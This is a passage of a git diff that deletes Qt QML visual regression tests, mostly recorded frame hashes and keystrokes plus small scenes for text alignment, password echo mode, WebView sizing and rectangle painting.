"a4b81c526a5bf8902fde9b8721980977" - } - Frame { - msec: 896 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Key { - type: 7 - key: 67 - modifiers: 0 - text: "63" - autorep: false - count: 1 - } - Frame { - msec: 912 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Frame { - msec: 928 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Frame { - msec: 944 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Frame { - msec: 960 - image: "echoMode.0.png" - } - Frame { - msec: 976 - hash: "a4b81c526a5bf8902fde9b8721980977" - } - Key { - type: 6 - key: 75 - modifiers: 0 - text: "6b" - autorep: false - count: 1 - } - Frame { - msec: 992 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1008 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1024 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1040 - hash: "d072aebc2314a149a856634786b208a0" - } - Key { - type: 7 - key: 75 - modifiers: 0 - text: "6b" - autorep: false - count: 1 - } - Frame { - msec: 1056 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1072 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1088 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1104 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1120 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1136 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1152 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1168 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1184 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1200 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1216 - hash: "d072aebc2314a149a856634786b208a0" - } - Frame { - msec: 1232 - hash: "d072aebc2314a149a856634786b208a0" - } - Key { - type: 6 - key: 68 - modifiers: 0 - text: "64" - autorep: false - count: 1 - } - Frame { - msec: 1248 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Frame { - msec: 1264 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Frame { - msec: 1280 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Key { - type: 7 - key: 68 - modifiers: 0 - text: "64" - autorep: false - count: 1 - } - Frame { - msec: 1296 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Frame { - msec: 1312 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Frame { - msec: 1328 - hash: "94defec2865529f185d02cfcbfe166cc" - } - Key { - type: 6 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 1344 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1360 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1376 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1392 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1408 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1424 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1440 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1456 - hash: "f625a2a82879df96141000e6931d4487" - } - Frame { - msec: 1472 - hash: "f625a2a82879df96141000e6931d4487" - } - Key { - type: 7 - key: 65 - modifiers: 0 - text: "61" - autorep: false - count: 1 - } - Frame { - msec: 1488 - hash: "f625a2a82879df96141000e6931d4487" - } - Key { - type: 6 - key: 87 - modifiers: 0 - text: "77" - autorep: false - count: 1 - } - Frame { - msec: 1504 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1520 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1536 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1552 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Key { - type: 7 - key: 87 - modifiers: 0 - text: "77" - autorep: false - count: 1 - } - Frame { - msec: 1568 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1584 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1600 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1616 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1632 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Frame { - msec: 1648 - hash: "1cf29837a4ea63bbb06c15382680d1b6" - } - Key { - type: 6 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 1664 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1680 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1696 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1712 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1728 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1744 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Key { - type: 7 - key: 83 - modifiers: 0 - text: "73" - autorep: false - count: 1 - } - Frame { - msec: 1760 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1776 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1792 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 1808 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1824 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1840 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Frame { - msec: 1856 - hash: "6eabb6d168ecc9ac604dcf2db0075380" - } - Key { - type: 6 - key: 76 - modifiers: 0 - text: "6c" - autorep: false - count: 1 - } - Frame { - msec: 1872 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1888 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1904 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1920 - image: "echoMode.1.png" - } - Key { - type: 7 - key: 76 - modifiers: 0 - text: "6c" - autorep: false - count: 1 - } - Frame { - msec: 1936 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1952 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1968 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 1984 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 2000 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Frame { - msec: 2016 - hash: "cb2dc1c4fc4e213841b873561f404a4f" - } - Key { - type: 6 - key: 79 - modifiers: 0 - text: "6f" - autorep: false - count: 1 - } - Frame { - msec: 2032 - hash: "c2aff1ebdee69cca7dc67a102fce5e8e" - } - Frame { - msec: 2048 - hash: "c2aff1ebdee69cca7dc67a102fce5e8e" - } - Key { - type: 7 - key: 79 - modifiers: 0 - text: "6f" - autorep: false - count: 1 - } - Frame { - msec: 2064 - hash: "c2aff1ebdee69cca7dc67a102fce5e8e" - } - Frame { - msec: 2080 - hash: "c2aff1ebdee69cca7dc67a102fce5e8e" - } - Key { - type: 6 - key: 86 - modifiers: 0 - text: "76" - autorep: false - count: 1 - } - Frame { - msec: 2096 - hash: "c82441813af6ff577687f29f6a09da38" - } - Frame { - msec: 2112 - hash: "c82441813af6ff577687f29f6a09da38" - } - Frame { - msec: 2128 - hash: "c82441813af6ff577687f29f6a09da38" - } - Frame { - msec: 2144 - hash: "c82441813af6ff577687f29f6a09da38" - } - Key { - type: 6 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Key { - type: 7 - key: 86 - modifiers: 0 - text: "76" - autorep: false - count: 1 - } - Frame { - msec: 2160 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2176 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2192 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2208 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Key { - type: 6 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2224 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Key { - type: 7 - key: 69 - modifiers: 0 - text: "65" - autorep: false - count: 1 - } - Frame { - msec: 2240 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2256 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2272 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2288 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2304 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Key { - type: 7 - key: 32 - modifiers: 0 - text: "20" - autorep: false - count: 1 - } - Frame { - msec: 2320 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Frame { - msec: 2336 - hash: "d7da9862980b99e97a1fcd1b5c4c976f" - } - Key { - type: 6 - key: 77 - modifiers: 0 - text: "6d" - autorep: false - count: 1 - } - Frame { - msec: 2352 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2368 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2384 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2400 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2416 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2432 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Key { - type: 7 - key: 77 - modifiers: 0 - text: "6d" - autorep: false - count: 1 - } - Frame { - msec: 2448 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2464 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2480 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Frame { - msec: 2496 - hash: "8f36e26d8685fe55e7a1dd294188f649" - } - Key { - type: 6 - key: 89 - modifiers: 0 - text: "79" - autorep: false - count: 1 - } - Frame { - msec: 2512 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2528 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2544 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Key { - type: 7 - key: 89 - modifiers: 0 - text: "79" - autorep: false - count: 1 - } - Frame { - msec: 2560 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2576 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2592 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2608 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2624 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2640 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2656 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2672 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2688 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2704 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2720 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2736 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2752 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2768 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2784 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2800 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2816 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2832 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2848 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2864 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2880 - image: "echoMode.2.png" - } - Frame { - msec: 2896 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2912 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2928 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2944 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2960 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2976 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 2992 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 3008 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 3024 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 3040 - hash: "316f2ba46d059755576e6822dc77afb2" - } - Frame { - msec: 3056 - hash: "316f2ba46d059755576e6822dc77afb2" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/hAlign.0.png b/tests/auto/declarative/visual/qdeclarativetextinput/data/hAlign.0.png deleted file mode 100644 index 87c2e07..0000000 Binary files a/tests/auto/declarative/visual/qdeclarativetextinput/data/hAlign.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/data/hAlign.qml b/tests/auto/declarative/visual/qdeclarativetextinput/data/hAlign.qml deleted file mode 100644 index e29ac56..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextinput/data/hAlign.qml +++ /dev/null @@ -1,107 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 32 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 48 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 64 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 80 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 96 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 112 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 128 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 144 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 160 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 176 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 192 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 208 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 224 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 240 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 256 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 272 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 288 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 304 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 320 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 336 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 352 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 368 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 384 - hash: "7619ed68aca3544f373777e11a4bfefa" - } - Frame { - msec: 400 - hash: "7619ed68aca3544f373777e11a4bfefa" - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/echoMode.qml b/tests/auto/declarative/visual/qdeclarativetextinput/echoMode.qml deleted file mode 100644 index b0b50e4..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextinput/echoMode.qml +++ /dev/null @@ -1,10 +0,0 @@ -import Qt 4.6 - -Item{ - height: 50; width: 200 - Column{ - //Not an exhaustive echo mode test, that's in QLineEdit (since the functionality is in QLineControl) - TextInput{ id: main; focus: true; echoMode: TextInput.Password } - Text{ text: main.text } - } -} diff --git a/tests/auto/declarative/visual/qdeclarativetextinput/hAlign.qml b/tests/auto/declarative/visual/qdeclarativetextinput/hAlign.qml deleted file mode 100644 index 2d65adf..0000000 --- a/tests/auto/declarative/visual/qdeclarativetextinput/hAlign.qml +++ /dev/null @@ -1,39 +0,0 @@ -import Qt 4.6 - -Item{ - width:600; - height:300; - Column{ - TextInput{ - text: "Jackdaws love my big sphinx of quartz"; - horizontalAlignment: TextInput.AlignLeft; - } - TextInput{ - text: "Jackdaws love my big sphinx of quartz"; - horizontalAlignment: TextInput.AlignHCenter; - } - TextInput{ - text: "Jackdaws love my big sphinx of quartz"; - horizontalAlignment: TextInput.AlignRight; - } - Rectangle{ width: 600; height: 10; color: "pink" } - TextInput{ - height: 30; - width: 600; - text: "Jackdaws love my big sphinx of quartz"; - horizontalAlignment: TextInput.AlignLeft; - } - TextInput{ - height: 30; - width: 600; - text: "Jackdaws love my big sphinx of quartz"; - horizontalAlignment: TextInput.AlignHCenter; - } - TextInput{ - height: 30; - width: 600; - text: "Jackdaws love my big sphinx of quartz"; - horizontalAlignment: TextInput.AlignRight; - } - } -} diff --git a/tests/auto/declarative/visual/qfxwebview/autosize/autosize.qml b/tests/auto/declarative/visual/qfxwebview/autosize/autosize.qml deleted file mode 100644 index 3c00ee6..0000000 --- a/tests/auto/declarative/visual/qfxwebview/autosize/autosize.qml +++ /dev/null @@ -1,61 +0,0 @@ -import Qt 4.6 -import org.webkit 1.0 - -// The WebView size is determined by the width, height, -// preferredWidth, and preferredHeight properties. -Rectangle { - id: rect - color: "white" - width: 200 - height: layout.height - Column { - id: layout - spacing: 2 - WebView { - html: "No width defined." - Rectangle { color: "#10000000" - anchors.fill: parent - } - } - WebView { - width: rect.width - html: "The width is full." - Rectangle { - color: "#10000000" - anchors.fill: parent - } - } - WebView { - width: rect.width/2 - html: "The width is half." - Rectangle { - color: "#10000000" - anchors.fill: parent - } - } - WebView { - preferredWidth: rect.width/2 - html: "The preferredWidth is half." - Rectangle { - color: "#10000000" - anchors.fill: parent - } - } - WebView { - preferredWidth: rect.width/2 - html: "The_preferredWidth_is_half." - Rectangle { - color: "#10000000" - anchors.fill: parent - } - } - WebView { - width: rect.width/2 - html: "The_width_is_half." - Rectangle { - color: "#10000000" - anchors.fill: parent - } - } - } -} diff --git a/tests/auto/declarative/visual/qfxwebview/autosize/data-X11/autosize.0.png b/tests/auto/declarative/visual/qfxwebview/autosize/data-X11/autosize.0.png deleted file mode 100644 index 1f28b9a..0000000 Binary files a/tests/auto/declarative/visual/qfxwebview/autosize/data-X11/autosize.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qfxwebview/autosize/data-X11/autosize.qml b/tests/auto/declarative/visual/qfxwebview/autosize/data-X11/autosize.qml deleted file mode 100644 index d920a4c..0000000 --- a/tests/auto/declarative/visual/qfxwebview/autosize/data-X11/autosize.qml +++ /dev/null @@ -1,83 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 32 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 48 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 64 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 80 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 96 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 112 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 128 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 144 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 160 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 176 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 192 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 208 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 224 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 240 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 256 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 272 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 288 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } - Frame { - msec: 304 - hash: "0c70d855adc847fe33d7959ccb98bb8b" - } -} diff --git a/tests/auto/declarative/visual/qfxwebview/autosize/data/autosize.0.png b/tests/auto/declarative/visual/qfxwebview/autosize/data/autosize.0.png deleted file mode 100644 index 1f28b9a..0000000 Binary files a/tests/auto/declarative/visual/qfxwebview/autosize/data/autosize.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/qfxwebview/autosize/data/autosize.qml b/tests/auto/declarative/visual/qfxwebview/autosize/data/autosize.qml deleted file mode 100644 index 47999be..0000000 --- a/tests/auto/declarative/visual/qfxwebview/autosize/data/autosize.qml +++ /dev/null @@ -1,83 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 32 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 48 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 64 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 80 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 96 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 112 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 128 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 144 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 160 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 176 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 192 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 208 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 224 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 240 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 256 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 272 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 288 - hash: "66539e1b1983d95386b0d30d6e969904" - } - Frame { - msec: 304 - hash: "66539e1b1983d95386b0d30d6e969904" - } -} diff --git a/tests/auto/declarative/visual/rect/GradientRect.qml b/tests/auto/declarative/visual/rect/GradientRect.qml deleted file mode 100644 index 1d3ec98..0000000 --- a/tests/auto/declarative/visual/rect/GradientRect.qml +++ /dev/null @@ -1,25 +0,0 @@ -import Qt 4.6 - -Item { - id: rect - property color color - property color border : Qt.rgba(0,0,0,0) - property int rotation - property int radius - property int borderWidth - property bool smooth: false - - width: 80; height: 80 - Item { - anchors.centerIn: parent; rotation: rect.rotation; - Rectangle { - anchors.centerIn: parent; width: 80; height: 80 - border.color: rect.border; border.width: rect.border != Qt.rgba(0,0,0,0) ? 2 : 0 - radius: rect.radius; smooth: rect.smooth - gradient: Gradient { - GradientStop { position: 0.0; color: rect.color } - GradientStop { position: 1.0; color: "white" } - } - } - } -} diff --git a/tests/auto/declarative/visual/rect/MyRect.qml b/tests/auto/declarative/visual/rect/MyRect.qml deleted file mode 100644 index 22e0948..0000000 --- a/tests/auto/declarative/visual/rect/MyRect.qml +++ /dev/null @@ -1,21 +0,0 @@ -import Qt 4.6 - -Item { - id: rect - property color color - property color border : Qt.rgba(0,0,0,0) - property int rotation - property int radius - property int borderWidth - property bool smooth: false - - width: 80; height: 80 - Item { - anchors.centerIn: parent; rotation: rect.rotation; - Rectangle { - anchors.centerIn: parent; width: 80; height: 80 - color: rect.color; border.color: rect.border; border.width: rect.border != Qt.rgba(0,0,0,0) ? 2 : 0 - radius: rect.radius; smooth: rect.smooth - } - } -} diff --git a/tests/auto/declarative/visual/rect/data/rect-painting.0.png b/tests/auto/declarative/visual/rect/data/rect-painting.0.png deleted file mode 100644 index 3b7970d..0000000 Binary files a/tests/auto/declarative/visual/rect/data/rect-painting.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/rect/data/rect-painting.qml b/tests/auto/declarative/visual/rect/data/rect-painting.qml deleted file mode 100644 index 52acadf..0000000 --- a/tests/auto/declarative/visual/rect/data/rect-painting.qml +++ /dev/null @@ -1,287 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 32 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 48 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 64 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 80 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 96 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 112 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 128 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 144 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 160 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 176 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 192 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 208 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 224 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 240 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 256 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 272 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 288 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 304 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 320 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 336 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 352 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 368 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 384 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 400 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 416 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 432 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 448 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 464 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 480 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 496 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 512 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 528 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 544 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 560 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 576 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 592 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 608 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 624 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 640 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 656 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 672 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 688 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 704 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 720 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 736 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 752 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 768 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 784 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 800 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 816 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 832 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 848 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 864 - hash: "79998980caccd4eb479fbd9f2a13c860" - } - Frame { - msec: 880 - 